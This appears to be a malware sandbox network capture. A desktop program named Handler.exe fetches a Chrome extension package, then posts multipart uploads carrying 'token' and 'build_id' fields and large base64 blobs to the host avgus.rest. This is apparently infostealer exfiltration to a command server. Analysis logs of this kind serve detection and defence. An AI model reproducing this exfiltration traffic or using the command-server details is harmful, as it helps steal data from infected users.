2025-01-13 19:18:48 UTC	563	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AFIdbgTlbFP0klJTv9ELRLnhPEc14TbBldukWAnN5wBk-ovYTaG7dikqJMUgxrNf_ZzjYCrx Accept-Ranges: bytes Content-Length: 154477 X-Goog-Hash: crc32c=F5qq4g== Server: UploadServer Date: Mon, 13 Jan 2025 08:54:45 GMT Expires: Tue, 13 Jan 2026 08:54:45 GMT Cache-Control: public, max-age=31536000 Age: 37443 Last-Modified: Thu, 12 Dec 2024 15:58:04 GMT ETag: a01bfa19_322860b8_b556d942_61bcf747_a602b083 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-13 19:18:48 UTC	827	IN	Data Raw: 43 72 32 34 03 00 00 00 f3 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2025-01-13 19:18:48 UTC	1390	IN	Data Raw: d2 ff f8 fb 8f f1 b3 aa ea fc 5a ff 65 a8 3e ff f2 76 56 d5 8f bf fe b8 9e df fb 4a fe 2c 2f fd 58 f5 e3 8f bf ff eb c7 90 3f d4 25 97 fa fc ea 11 36 05 b0 0d c1 6d 23 05 75 5d 82 5a 95 8f c3 96 5b d7 73 d6 4d 5f 19 18 df 4a a0 b6 22 39 6c 91 fb 6c a3 f3 fd 2c 7c d5 8b 14 19 87 e6 72 d6 e7 d7 51 43 c1 e1 fb ef 9d ba 8a 34 3a 9f d4 f8 cb a1 77 6a e9 bf 9f 4f e7 c3 14 35 ef b7 d2 b7 fb ef 73 ca 6e f7 25 e1 ee 92 a5 e8 f2 fd 79 01 10 17 0f 63 e2 fc fd 91 b4 23 46 0c 8e b4 1b 1b e1 a3 2e ef a8 29 67 76 28 cd 10 21 53 ec 49 17 3e f2 20 dc 54 be b0 c5 23 dc 1d 83 eb b9 f4 a1 91 ef 0f db 83 da 5d 0b 80 ea c2 67 f3 11 c0 ee 08 4c 55 5a a8 16 40 1f 77 c3 5c 80 cd f9 b8 0f 1f 05 d8 fd 7b 9d df f7 16 4e b9 a7 7a 66 d5 6e 02 19 3a 72 f1 95 74 0c 72 0e cf 9c ab 3d a2 Data Ascii: Ze>vVJ,/X?%6m#u]Z[sM_J"9ll,\|rQC4:wjO5sn%yc#F.)gv(!SI> T#]gLUZ@w\{Nzfn:rtr=
2025-01-13 19:18:48 UTC	1390	IN	Data Raw: fb 40 b0 b4 75 cd a2 45 ec b5 f7 5f 79 7d 9c cd 6c 12 a9 d6 7b 85 01 32 0c 8b 32 98 4b 0f f9 85 0b e3 3c 40 38 52 9e 25 bb 7a 8f 3d a8 39 20 c4 e5 c3 0c b0 21 bf 16 af df 1f d6 7a ee 0d 99 c3 31 ea 95 12 c6 e4 1c 29 ba 47 74 ec a8 92 fb c2 95 5e e2 ca b0 a4 22 c6 26 76 ca 5e 73 34 d5 7c c4 e8 14 05 cb 7b 5f fe 1f 38 b8 6c f0 90 19 b5 92 81 f8 cc 81 4a 13 2f 1a 49 e0 78 71 23 7a 01 c2 0c 77 ba 14 2c e7 2c 3c 91 d1 4e bc 96 0a 3a 18 c8 cd 72 ef c9 b5 f8 8f da e7 6e b0 2f 3c 34 d7 ad f4 42 40 4c d8 a1 40 88 dc 18 8e 64 d6 1c e0 63 1e 05 cf 20 06 f7 3b 0b 70 9c 51 ec 56 dd fb 7d 11 7f 6b 6d ef 0d 1e 52 b0 4d ad e1 45 2a 6f 3e c1 ba 25 26 a2 d8 aa 43 9d 31 12 d1 9a b3 ce 3a 54 eb 81 1f 1b e6 0b 22 ca 2f 2d 08 8a 65 ef 77 c9 57 62 8f 5b 75 cd 1a e5 55 bd 63 44 Data Ascii: @uE_y}l{22K<@8R%z=9 !z1)Gt^"&v^s4\|{_8lJ/Ixq#zw,,<N:rn/<4B@L@dc ;pQV}kmRME*o>%&C1:T"/-ewWb[uUcD
2025-01-13 19:18:48 UTC	1390	IN	Data Raw: ae 14 17 a9 0a ca 56 6b be f7 64 1f 49 78 97 5a b7 31 fc 9e 6d a1 03 6f d9 e7 f7 53 08 01 c3 c5 b9 7a b9 76 b6 db 53 9b 34 0a 6b 4e 57 59 c3 5e 19 bf 00 5d 8b aa e8 60 1e 51 13 25 a6 e3 15 9d 7d ca 7d 96 c5 a9 08 a9 a5 b6 19 1f 60 d5 2f 62 7f 2f 56 f2 3d 57 f8 23 62 ea 11 f9 e1 a4 f7 19 e1 40 b8 32 a8 3b d1 0e 75 e4 ef 5e a5 8b 7d 02 3c b3 b0 c2 54 f7 e1 89 cc ec 28 67 76 59 d4 5a cb 31 52 23 4c d6 ce d6 b5 6f 6c b9 2b 3b 9d 71 b7 59 27 29 f2 cd 97 cc b0 23 c2 6d 96 10 c7 cf 94 88 f2 6e 6a 64 2b 51 dc e1 73 d9 1f ee 59 f3 bf e0 1f e0 37 0a e3 95 33 5e 91 a6 46 6d ea cf 64 89 31 b8 c4 90 37 6a 0a ad fa f8 c0 5c 14 73 a2 84 ce 1a f7 08 d6 da 7b b1 29 06 b5 cf 3b d4 47 7c d1 e7 3f 8a b5 cf 36 82 c8 ca 3a 7b 7f 72 db 3b 69 f1 47 d9 87 17 cd 7f 57 ce c3 98 bb Data Ascii: VkdIxZ1moSzvS4kNWY^]`Q%}}`/b/V=W#b@2;u^}<T(gvYZ1R#Lol+;qY')#mnjd+QsY73^Fmd17j\s{);G\|?6:{r;iGW
2025-01-13 19:18:48 UTC	1390	IN	Data Raw: fd bb 9e 52 c0 c6 ac 63 6d 6a 7d 63 a0 ee bf 61 fe 67 d7 ed a2 91 18 ea 83 e8 bc 84 3c f6 92 99 0e 39 52 fb 50 a4 8e 8d b9 50 b4 45 0e 0e e8 5c f4 48 13 5f 36 61 f7 d9 4a 58 d8 a4 e0 0f 1c 33 8b 34 04 b9 4e a3 a9 25 bf ca 6e d4 75 b6 3b e7 dc 7e 2b 83 f0 4b fc 4f d7 6f 8d 99 43 f4 2a 3b 16 67 fd f0 c0 81 0c 22 df 3e 68 cf fc 25 d5 a0 cd 23 dc 62 3a 6c 78 5f c7 cc 17 bd ce 53 9b 88 64 9b f2 5b 5f 98 71 3d 74 42 5f cb ac e5 6f 5a 85 bf 31 ff bd 96 74 6d fd 76 0d b8 3b 7f f7 5c 6e 6a 9f 9b 0e 4a ef 8f 11 b9 2d f8 fd b3 ca 10 dc fc ce f2 bf cd d3 72 cd a9 3a 3f 7e e8 ba 50 b9 e5 8c 85 66 3c 7d 7c cb b9 ae b1 2e d4 de 6e 77 cd fd f1 92 27 87 ff fc ac be ef 47 09 d4 77 ef e8 3d f4 6e 27 97 de a2 ef ff f7 ce 43 af 53 f3 cd ee 9a 5a 42 95 3d 1a be f9 ed d4 c0 dd Data Ascii: Rcmj}cag<9RPPE\H_6aJX34N%nu;~+KOoC*;g">h%#b:lx_Sd[_q=tB_oZ1tmv;\njJ-r:?~Pf<}\|.nw'Gw=n'CSZB=
2025-01-13 19:18:48 UTC	1390	IN	Data Raw: 73 3d 2b b0 5b de b2 1b ac ac c0 bf bd 49 06 60 0a 98 e5 c3 12 dc fa fd 5e 94 c6 93 21 f3 32 c4 3a e7 6a 98 8e e5 33 47 4c 6f 66 cf 66 8f 00 02 a7 37 5d af 9f 55 1c 7d 2f aa 0d 63 45 34 4d 9c 3f 0c 6f 34 66 3d 1f 97 c5 b3 39 14 7b e1 d5 d2 27 58 29 01 4d de d6 12 94 45 a0 b2 25 18 06 ec ff 89 3f ee 0f 01 1c 62 05 b0 8e 6f 05 55 2b 9a 4e 2b 15 bb 5a f9 59 a9 86 d5 aa 13 d9 6a a3 fa 56 e4 c4 f6 2d 76 5b 8b dd a8 15 f0 25 70 2a 41 38 f2 87 e9 80 f6 c5 43 a6 19 c3 34 71 63 28 94 f7 d5 3e a8 8d fb a7 40 9e 7a b1 db b3 2a 31 8c 90 2f 56 e5 7c e4 f7 bb 83 9f 23 9a 0d 8c ce 42 04 aa 0d 19 a0 6f d7 b2 9f 34 76 5f 6d 6e 6e d6 69 e4 4e a8 e8 02 80 b4 a5 20 5a 4b c7 e1 90 e1 cc 0d d0 9a 83 61 2e 2f 3c 5f c9 d6 50 bd 42 9b 7a 69 bf 37 7e c9 9f 3e a7 e6 e3 76 c6 ba 83 Data Ascii: s=+[I`^!2:j3GLoff7]U}/cE4M?o4f=9{'X)ME%?boU+N+ZYjV-v[%pA8C4qc(>@z1/V\|#Bo4v_mnniN ZKa./<_PBzi7~>v
2025-01-13 19:18:48 UTC	1390	IN	Data Raw: 3d 19 8d fb dd dd 4b 60 21 0e f5 cc 1f 33 7c 0c d2 d1 00 b1 81 5e 69 42 40 e6 1a a3 91 ad d6 e5 68 63 43 03 68 03 51 81 cd 15 5b 50 25 01 0d 0a a0 cc 37 ab d0 e0 70 db 64 42 b6 9f 01 12 e5 58 36 df 46 f2 c0 36 2c 9a 5a d0 f7 89 35 0a f9 9b 66 01 58 a1 26 0c 6a 4d 5c 4b 7b e9 58 7b 57 de c3 72 c3 01 d2 14 c3 96 8f 11 ca 88 39 7c 1d 63 60 72 6c d4 ef 71 f2 9c 49 0e 9c cd 6d 82 37 6e c9 82 9c 2f 0b 6e 24 69 39 f2 e2 78 83 7f 53 04 3d b6 a3 da b9 a8 71 16 77 6c c9 a0 89 56 73 5e 14 11 7c 7c 73 cb 7f 2a d9 f2 39 07 8f 6b 7d 56 ca c0 8d 61 7f 28 ec 36 ce 58 4c 31 40 12 ec 2c 6f 2c 2b 48 03 40 f2 e5 2b 62 36 46 17 48 75 0a bd e4 dc 22 b3 6e 9c 63 a5 86 71 d4 b8 31 30 23 af 19 81 78 83 e3 e9 5a 37 f8 9c 4b 22 f0 7a 80 ff ce 66 cd 63 e2 27 5d 67 e0 5c b9 05 91 82 Data Ascii: =K`!3\|^iB@hcChQ[P%7pdBX6F6,Z5fX&jM\K{X{Wr9\|c`rlqIm7n/n$i9xS=qwlVs^\|\|s*9k}Va(6XL1@,o,+H@+b6FHu"ncq10#xZ7K"zfc']g\
2025-01-13 19:18:48 UTC	1390	IN	Data Raw: fc c2 eb d3 07 f9 cb a9 80 c2 b8 ec 66 aa f4 9a a9 4f 23 9b 16 c3 b7 0c e9 94 d8 01 42 0d 39 01 c1 0c 00 05 bb 46 fd 6c 74 68 20 1a 73 50 b5 25 bf 9b 6b a1 76 bd ec 3e 5a 2f 34 82 c8 be 2c eb 72 e9 75 b9 81 5a f1 03 58 07 57 22 05 05 6e 85 8b 28 3e ed b7 c4 45 0d bd de ae 37 13 31 f9 80 3b 68 01 71 40 1d 01 b4 9c 4e 2d fe e0 0a c4 3b eb d6 d2 a0 03 02 2f 96 20 44 6d 8b bf 7c 02 6e 06 9b 90 bf 10 fe 39 81 a6 8e a4 2a f2 45 4e 66 1c a4 2b 79 31 d8 41 b0 51 04 2d 99 39 bc 77 2e 54 8b 76 6d a7 d8 02 27 86 e2 f3 dc 57 e3 03 ad 3a ec 69 93 fb 84 77 d0 7c da 4b 0a 2e 39 2d a6 36 d1 88 83 03 6c 5b fc 2f 79 5b 7d d8 a9 35 da cd 0e 88 f8 e2 03 a7 27 d3 a9 e0 0c 12 9c 09 82 d3 79 24 9a 2b cc 48 be 25 3a ab ff d0 19 81 59 31 2f 46 8c 01 89 b0 9a f6 ea aa b3 5c b7 89 Data Ascii: fO#B9Flth sP%kv>Z/4,ruZXW"n(>E71;hq@N-;/ Dm\|n9*ENf+y1AQ-9w.Tvm'W:iw\|K.9-6l[/y[}5'y$+H%:Y1/F\
2025-01-13 19:18:48 UTC	1390	IN	Data Raw: 41 d0 ce 03 89 61 57 3a e2 0c 48 31 96 53 3b 09 22 96 46 85 74 06 dc 97 14 6e 80 5c 17 6e 36 1a 8d 75 f8 7f 78 5c 36 a8 54 68 6b 72 c2 09 eb c5 52 50 48 b9 ff e5 a7 0f 83 fe 39 c0 51 2f 55 aa a1 dd 0a 37 5c c2 bc b6 5f 75 f5 b9 25 6c 88 f3 83 06 9b 56 b8 4a 65 5e 38 8b ca 20 06 d7 57 1a f5 b5 67 d3 e7 cf d7 5e bd b0 17 96 14 85 5e 3c 5b 03 09 6f 56 e4 52 22 10 cb 74 09 03 2f bd f9 23 7e 95 07 5a 94 28 41 b2 07 11 ae 60 79 c8 fb cd c2 c6 aa 3b ff 69 1b 7c 15 7c 8c 84 24 dc 79 fa e4 d1 a3 a5 ed fe e0 66 98 c6 c9 78 09 45 c6 ed ac 3f 9a 0c c3 a5 83 d4 1b b2 e1 cd d2 d6 64 9c f4 87 a3 da a3 a5 d3 0f 3b df 56 0f 52 3f ec 8d c2 d5 fd 00 d6 3f 8d d2 70 d8 5c da 1a 80 ee 12 ae ae d5 ea 8f 9e 3c a5 a3 07 57 cc bd 02 12 70 3b 73 2e 49 16 9f 4e 31 20 51 39 f9 af 05 Data Ascii: AaW:H1S;"Ftn\n6ux\6ThkrRPH9Q/U7\_u%lVJe^8 Wg^^<[oVR"t/#~Z(A`y;i\|\|$yfxE?d;VR??p\<Wp;s.IN1 Q9
2025-01-13 19:18:48 UTC	1390	IN	Data Raw: 87 13 fa f8 51 4e 97 0f d5 84 e9 74 fa 59 da 7c bf e3 19 63 e7 07 e3 a7 9c f0 cd e3 fc 08 b5 3a ce 6e 1e 74 71 58 2e 86 7b e3 3e 33 82 51 35 c1 d9 f3 e4 51 51 26 64 2c af 85 36 8b 9c 7b 7a b0 77 c8 75 fa 03 ca fd a0 c3 ce 9a 6e be f5 7a 7b 67 77 ef cd db fd 77 ef 0f 0e 8f 8e 3f 7c 3c 39 fd f4 f9 cb d7 6f df 7f 30 cf 87 a1 c4 49 7a 7e 91 75 7b fd c1 af e1 68 3c b9 bc ba be f9 5d 6f ac 3d 5b 7f fe e2 ef 97 af f2 63 f2 15 f4 d6 9e 55 aa 4f dd 8a 03 ff c2 3f ab 3f 5d fa b7 46 ff 56 3a 94 2b 20 dc 78 de 0a 95 8b c3 47 91 c8 67 63 2b 40 91 24 6f ca 6e 7d 87 bd d2 71 e7 b6 91 dc ac b1 6c 22 71 23 d8 4d ad 1f 0c cf f9 69 73 e6 2f 50 b6 99 79 ee 77 4a 8a 21 24 4f 4b 33 1e c8 1d fb f4 19 74 19 80 e6 f6 62 bd 83 59 19 a8 db d0 e5 f1 d2 79 f6 89 b5 56 54 75 9f c9 63 Data Ascii: QNtY\|c:ntqX.{>3Q5QQ&d,6{zwunz{gww?\|<9o0Iz~u{h<]o=[cUO??]FV:+ xGgc+@$on}ql"q#Mis/PywJ!$OK3tbYyVTuc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49994	116.203.11.8	443	5532	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:48 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----phlfc2ngvaaieusr9ri5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: avgus.rest Content-Length: 98221 Connection: Keep-Alive Cache-Control: no-cache
2025-01-13 19:18:48 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 70 68 6c 66 63 32 6e 67 76 61 61 69 65 75 73 72 39 72 69 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 62 62 33 62 62 37 39 34 64 64 35 35 36 36 31 63 31 31 33 32 63 37 61 65 37 62 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 70 68 6c 66 63 32 6e 67 76 61 61 69 65 75 73 72 39 72 69 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 70 68 6c 66 63 32 6e 67 76 61 61 69 65 75 73 72 39 72 69 35 0d 0a 43 6f 6e 74 Data Ascii: ------phlfc2ngvaaieusr9ri5Content-Disposition: form-data; name="token"f8dbb3bb794dd55661c1132c7ae7b7e6------phlfc2ngvaaieusr9ri5Content-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------phlfc2ngvaaieusr9ri5Cont
2025-01-13 19:18:48 UTC	16355	OUT	Data Raw: 55 55 55 55 41 46 46 46 46 41 42 53 55 74 46 41 43 55 55 55 55 41 46 4a 53 30 55 41 4a 52 52 52 51 41 55 6c 4c 52 51 41 6c 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 42 6f 6f 4e 41 43 55 55 55 55 41 46 46 46 46 41 43 55 55 74 4a 51 41 6c 46 4c 52 51 41 6c 46 46 46 41 42 52 52 52 51 41 6c 46 46 46 41 42 52 52 52 51 41 6c 46 46 46 41 42 52 52 52 51 41 6c 46 46 46 41 42 53 47 6c 70 44 51 41 55 55 55 55 41 46 4a 53 30 6c 41 42 51 61 4b 4b 41 45 6f 70 61 53 67 41 6f 6f 6f 6f 41 4b 53 6c 6f 6f 41 53 69 69 69 67 42 4b 4b 57 6b 6f 41 4b 4b 4b 4b 41 45 6f 6f 6f 6f 41 4b 53 6c 70 4b 41 43 6b 70 61 53 67 41 6f 6f 6f 6f 41 31 36 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 53 76 4d 66 69 55 76 38 41 59 2f 69 7a 77 78 34 6d 58 68 49 70 78 62 7a 74 2f 73 35 7a 2f Data Ascii: UUUUAFFFFABSUtFACUUUUAFJS0UAJRRRQAUlLRQAlFFFABRRRQAUUUUAFBooNACUUUUAFFFFACUUtJQAlFLRQAlFFFABRRRQAlFFFABRRRQAlFFFABRRRQAlFFFABSGlpDQAUUUUAFJS0lABQaKKAEopaSgAooooAKSlooASiiigBKKWkoAKKKKAEooooAKSlpKACkpaSgAooooA16KKKACiiigAooooASvMfiUv8AY/izwx4mXhIpxbzt/s5z/
2025-01-13 19:18:48 UTC	16355	OUT	Data Raw: 58 74 35 66 52 74 48 6d 5a 34 57 4f 6c 7a 56 62 64 69 56 66 61 70 56 2b 74 51 67 31 49 44 58 71 4a 48 46 59 6e 55 38 31 4b 6f 79 61 69 58 72 55 79 34 37 35 6f 73 5a 76 79 46 78 6e 33 71 49 75 38 54 5a 51 6b 56 30 57 6c 65 48 70 62 77 43 57 34 4a 53 49 39 42 33 4e 64 52 44 34 61 30 6c 49 67 72 57 6f 6b 39 53 35 35 72 68 72 59 36 6c 42 38 75 35 32 55 73 42 55 71 4b 37 30 4f 4a 73 72 78 5a 78 74 59 34 63 56 63 48 31 72 62 31 48 77 66 61 4d 50 4f 73 43 59 5a 6c 35 41 37 47 73 44 4d 6b 55 6a 52 54 4c 74 6b 55 34 59 56 35 39 53 74 43 57 73 54 48 45 59 57 56 46 33 65 78 4d 4b 73 78 4e 7a 56 51 4e 79 4b 6d 6a 50 4e 65 64 56 6c 71 63 36 4e 69 32 63 35 46 62 31 72 4a 6c 4b 35 6d 32 62 70 57 37 5a 53 56 77 54 33 4c 6a 6f 58 37 75 50 7a 37 4f 52 44 32 55 6b 66 57 75 Data Ascii: Xt5fRtHmZ4WOlzVbdiVfapV+tQg1IDXqJHFYnU81KoyaiXrUy475osZvyFxn3qIu8TZQkV0WleHpbwCW4JSI9B3NdRD4a0lIgrWok9S55rhrY6lB8u52UsBUqK70OJsrxZxtY4cVcH1rb1HwfaMPOsCYZl5A7GsDMkUjRTLtkU4YV59StCWsTHEYWVF3exMKsxNzVQNyKmjPNedVlqc6Ni2c5Fb1rJlK5m2bpW7ZSVwT3LjoX7uPz7ORD2UkfWu
2025-01-13 19:18:48 UTC	16355	OUT	Data Raw: 4c 77 73 59 6a 79 55 75 4a 6c 7a 39 4a 47 72 71 5a 66 38 41 56 50 37 71 66 35 56 7a 50 77 2f 50 2f 45 69 6e 2f 77 43 76 79 66 38 41 39 47 4e 51 42 31 66 57 69 6c 48 53 69 67 42 4b 4b 4b 4b 41 43 6b 6f 70 61 41 45 78 53 55 74 4c 51 41 32 6b 7a 54 73 55 6d 4b 41 4f 48 31 35 64 33 6a 37 54 51 41 54 2b 37 42 50 48 75 61 36 31 77 32 7a 39 32 71 37 6a 30 7a 58 4f 61 68 6b 66 45 4b 7a 32 70 76 50 32 5a 75 50 7a 72 6f 50 4e 75 63 38 32 35 78 37 4d 4b 74 45 4d 57 52 6c 69 69 33 4f 42 6e 67 48 61 4b 52 49 59 34 77 46 7a 79 54 6e 6b 30 65 5a 50 2f 77 41 2b 72 66 38 41 66 61 31 45 42 4f 58 4c 79 51 4d 78 42 79 76 7a 44 69 71 4a 4c 47 7a 50 51 44 30 36 30 30 49 33 6e 4e 6b 4c 73 2f 68 48 70 51 5a 4a 2b 76 32 5a 76 2b 2b 68 52 35 73 2f 48 2b 6a 4e 7a 2f 74 69 67 43 4e Data Ascii: LwsYjyUuJlz9JGrqZf8AVP7qf5VzPw/P/Ein/wCvyf8A9GNQB1fWilHSigBKKKKACkopaAExSUtLQA2kzTsUmKAOH15d3j7TQAT+7BPHua61w2z92q7j0zXOahkfEKz2pvP2ZuPzroPNuc825x7MKtEMWRlii3OBngHaKRIY4wFzyTnk0eZP/wA+rf8Afa1EBOXLyQMxByvzDiqJLGzPQD0600I3nNkLs/hHpQZJ+v2Zv++hR5s/H+jNz/tigCN
2025-01-13 19:18:48 UTC	16355	OUT	Data Raw: 70 78 64 6d 6d 4e 53 6c 73 39 6a 48 62 56 72 39 4a 4d 4e 5a 6c 6c 55 34 4f 31 54 79 66 38 4d 59 71 5a 74 59 6d 55 74 2f 6f 45 70 41 58 63 4d 44 72 57 76 67 65 67 78 52 67 65 67 34 36 56 73 68 47 44 4c 72 56 32 34 68 4d 46 6c 49 43 78 47 34 4d 4f 67 72 63 58 4a 55 45 39 78 54 73 44 47 4f 50 79 6f 41 34 70 67 4a 53 5a 70 39 4a 69 67 44 6b 37 67 2f 38 58 4c 73 76 2b 76 52 76 36 31 31 31 63 66 65 6e 62 38 53 62 48 2f 72 30 62 2b 74 64 50 35 68 39 61 41 4c 4f 52 54 66 78 71 44 7a 50 65 6b 33 6d 67 43 63 39 61 53 6f 64 35 6f 38 77 30 41 53 45 6d 6d 6d 6f 7a 49 61 54 64 51 41 2b 6b 4a 46 4d 4a 4e 4d 4c 55 41 50 4c 55 77 6d 6d 46 36 4e 31 41 44 73 30 30 6d 6d 6c 71 61 57 6f 41 63 54 54 53 61 61 54 52 6e 69 67 42 63 30 32 6b 7a 53 5a 6f 41 55 6d 6d 35 70 43 61 54 Data Ascii: pxdmmNSls9jHbVr9JMNZllU4O1Tyf8MYqZtYmUt/oEpAXcMDrWvgegxRgeg46VshGDLrV24hMFlICxG4MOgrcXJUE9xTsDGOPyoA4pgJSZp9JigDk7g/8XLsv+vRv6111cfenb8SbH/r0b+tdP5h9aALORTfxqDzPek3mgCc9aSod5o8w0ASEmmmozIaTdQA+kJFMJNMLUAPLUwmmF6N1ADs00mmlqaWoAcTTSaaTRnigBc02kzSZoAUmm5pCaT
2025-01-13 19:18:48 UTC	16355	OUT	Data Raw: 42 66 51 6d 61 32 6b 33 78 68 33 6a 4a 77 52 38 79 73 56 59 63 2b 68 42 46 63 4d 74 76 4e 50 34 77 73 37 70 4e 4b 45 45 6e 32 36 56 62 67 72 70 73 6f 63 78 37 4a 46 79 39 79 54 74 64 57 2b 55 68 51 4d 44 4b 6a 50 48 4c 59 72 43 33 30 2f 52 4a 62 42 64 42 52 53 32 6f 79 2f 61 43 2b 6c 79 54 52 71 6d 2b 52 6f 32 4d 61 41 65 63 75 4e 6f 47 43 51 75 51 65 4d 59 6f 36 58 47 39 37 66 31 31 2f 79 50 51 71 4b 35 2f 77 58 44 50 62 2b 48 56 68 6e 69 61 4c 5a 63 54 2b 57 6a 51 74 43 41 6e 6d 4d 56 77 6a 45 6c 56 78 6a 41 79 63 44 46 64 42 51 78 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 44 36 4b 53 69 67 41 6f 6f 6f 6f 41 4b 54 74 53 30 6c 41 43 30 6c 46 46 41 42 52 Data Ascii: BfQma2k3xh3jJwR8ysVYc+hBFcMtvNP4ws7pNKEEn26Vbgrpsocx7JFy9yTtdW+UhQMDKjPHLYrC30/RJbBdBRS2oy/aC+lyTRqm+Ro2MaAecuNoGCQuQeMYo6XG97f11/yPQqK5/wXDPb+HVhniaLZcT+WjQtCAnmMVwjElVxjAycDFdBQxBRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFAD6KSigAooooAKTtS0lAC0lFFABR
2025-01-13 19:18:48 UTC	91	OUT	Data Raw: 30 4c 6a 6a 47 4f 6c 63 2f 52 52 54 41 4b 75 53 66 38 41 49 46 74 66 2b 76 69 62 2f 77 42 42 6a 71 6e 56 79 54 2f 6b 43 32 76 2f 41 46 38 54 66 2b 67 78 30 41 66 2f 32 51 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 70 68 6c 66 63 32 6e 67 76 61 61 69 65 75 73 72 39 72 69 35 2d 2d 0d 0a Data Ascii: 0LjjGOlc/RRTAKuSf8AIFtf+vib/wBBjqnVyT/kC2v/AF8Tf+gx0Af/2Q==------phlfc2ngvaaieusr9ri5--
2025-01-13 19:18:50 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 13 Jan 2025 19:18:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-13 19:18:50 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	50008	116.203.11.8	443	5532	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:50 UTC	275	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----zm7gdb168q1dje3ectri User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: avgus.rest Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2025-01-13 19:18:50 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 7a 6d 37 67 64 62 31 36 38 71 31 64 6a 65 33 65 63 74 72 69 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 62 62 33 62 62 37 39 34 64 64 35 35 36 36 31 63 31 31 33 32 63 37 61 65 37 62 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 7a 6d 37 67 64 62 31 36 38 71 31 64 6a 65 33 65 63 74 72 69 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 7a 6d 37 67 64 62 31 36 38 71 31 64 6a 65 33 65 63 74 72 69 0d 0a 43 6f 6e 74 Data Ascii: ------zm7gdb168q1dje3ectriContent-Disposition: form-data; name="token"f8dbb3bb794dd55661c1132c7ae7b7e6------zm7gdb168q1dje3ectriContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------zm7gdb168q1dje3ectriCont
2025-01-13 19:18:51 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 13 Jan 2025 19:18:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
